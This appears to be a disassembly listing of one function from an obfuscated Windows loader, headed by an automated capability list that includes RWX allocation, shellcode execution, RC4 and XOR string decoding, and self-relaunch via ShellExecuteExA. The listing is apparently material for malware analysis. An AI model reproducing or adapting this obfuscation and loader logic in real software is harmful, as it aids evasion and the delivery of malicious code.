Function at 0x14002026c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14008f110
sub rsp, rax
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x31]
movabs r13, 0xfec17db8b17547b5
mov r12d, 0x6f1d50f3
cmp rax, r12
jne 0x140020363
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020343
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020343
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020363
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov ecx, r12d
call fcn.1400022a4
mov rax, qword gs:[0x31]
mov ebx, 0x32c09527
mov edi, 0x1a369f55
mov r14d, 0x99c26a5
cmp rax, r12
jne 0x140020432
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020412
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020412
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020432
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
mov esi, 0xb8e53625
cmp rax, r12
jne 0x1400204e1
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400204c1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400204c1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400204e1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov ecx, r12d
call fcn.14001f818
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140020593
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020573
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020573
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020593
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002064c
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002062c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002062c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002064c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
lea rdx, [0x1400d3fa0]
lea rcx, [rbp + 0x998]
call fcn.140001c68
mov rdx, rax
mov ecx, r12d
call fcn.140003888
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140020714
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400206f4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400206f4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020714
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400207cd
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400207ad
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400207ad
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400207cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov dword [rbp + 0x90], 0x191b7907
mov dword [rbp + 0x94], 0x7edaac9f
mov word [rbp + 0x98], 0xe2
xor r15d, r15d
mov edi, r15d
movabs rsi, 0x1545644e4
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14002fc08
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400207fa
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x31]
cmp rax, r12
mov esi, 0xb8e53625
jne 0x1400208f1
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400208d1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400208d1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400208f1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002099b
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002097b
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002097b
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002099b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov dword [rbp + 0x1f0], 0x8eb3e385
mov dword [rbp + 0x1f4], 0x8b681201
mov dword [rbp + 0x1f8], 0x95d4db1a
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs rsi, 0x1545644e4
mov qword [rsp + 0x20], rsi
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14002f864
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x1400209ce
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x31]
cmp rax, r12
mov esi, 0xb8e53625
jne 0x140020ad6
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020ab6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020ab6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020ad6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001fa30
test eax, eax
jne 0x140020d7d
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b8970
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140020bf3
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400b8970
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x8ced39be
mov word [rbp - 0x6c], 0xeb
movabs rsi, 0x1545644e4
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14002fb94
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140020b63
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14002f4ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140020bfd
movabs rsi, 0x1545644e4
mov word [rbp - 0x80], Ordinal_27
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_26
lea rcx, [rbp - 0x80]
call fcn.14002fa3c
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14001f8b0
mov rbx, rax
movdqa xmm0, xmmword [0x1400d70c0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400d70b0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x96cb2b2a
mov dword [rbp + 0xc1c], 0x63e19b79
mov dword [rbp + 0xc20], 0x1d33be84
mov word [rbp + 0xc24], 0xa2
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14002fb20
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140020c7e
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140030bb4
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140030d74
lea rcx, [rbp + 0x9d8]
call fcn.1400306cc
lea rcx, [rbp + 0x9b8]
call fcn.1400306cc
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], reloc.WLDAP32.dll_Ordinal_35
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14002f61c
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140020d16
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.140030320
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140020e27
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020e07
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020e07
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020e27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140020ed7
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020eb7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020eb7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020ed7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140020f81
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020f61
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020f61
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020f81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002103c
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002101c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002101c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002103c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400210e6
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400210c6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400210c6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400210e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
xor ecx, ecx
call fcn.140096be4
mov rbx, rax
mov word [rbp - 0x7c], 0x42
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp - 0x7c]
call fcn.14002fa3c
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x60], 0x82a6dea2
mov word [rbp - 0x5c], 0x350f
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14002f8dc
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140021135
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.14009a0c4
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x14002122f
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002120f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002120f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002122f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400212d9
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400212b9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400212b9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400212d9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov ecx, 2
call fcn.140096be4
mov rbx, rax
mov word [rbp - 0x78], 0x47
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x47
lea rcx, [rbp - 0x78]
call fcn.14002fa3c
mov byte [rbp - 0x78], al
mov byte [rbp - 0x77], r15b
mov dword [rbp - 0x38], 0x5e8baa78
mov dword [rbp - 0x34], 0xc87d43
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14002faac
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140021327
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.14009a0c4
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x140021421
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021401
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021401
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021421
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400214de
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400214be
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400214be
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400214de
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov ecx, 1
call fcn.140096be4
mov rbx, rax
mov word [rbp - 0x74], 0x47
movabs rsi, 0x1545644e4
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x47
lea rcx, [rbp - 0x74]
call fcn.14002fa3c
mov byte [rbp - 0x74], al
mov byte [rbp - 0x73], r15b
mov dword [rbp - 0x30], 0x5e8baa78
mov dword [rbp - 0x2c], 0xc87d43
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14002faac
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002152c
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x74]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.14009a0c4
mov rax, qword gs:[0x31]
cmp rax, r12
mov esi, 0xb8e53625
jne 0x140021621
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021601
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021601
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021621
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
mov ebx, 0x32c09527
cmp rax, r12
jne 0x1400216e0
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400216c0
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400216c0
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400216e0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7120]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400d6f70]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400d71f0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x80ea81bd
mov dword [rbp + 0xd4c], 0x78fa3b8f
mov dword [rbp + 0xd50], 0xca6d6dfe
mov word [rbp + 0xd54], 0x9927
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r13, 0x1545644e4
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14002f9c8
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002174c
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140001b0c
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x140021847
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021827
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021827
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021847
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400218f1
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400218d1
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
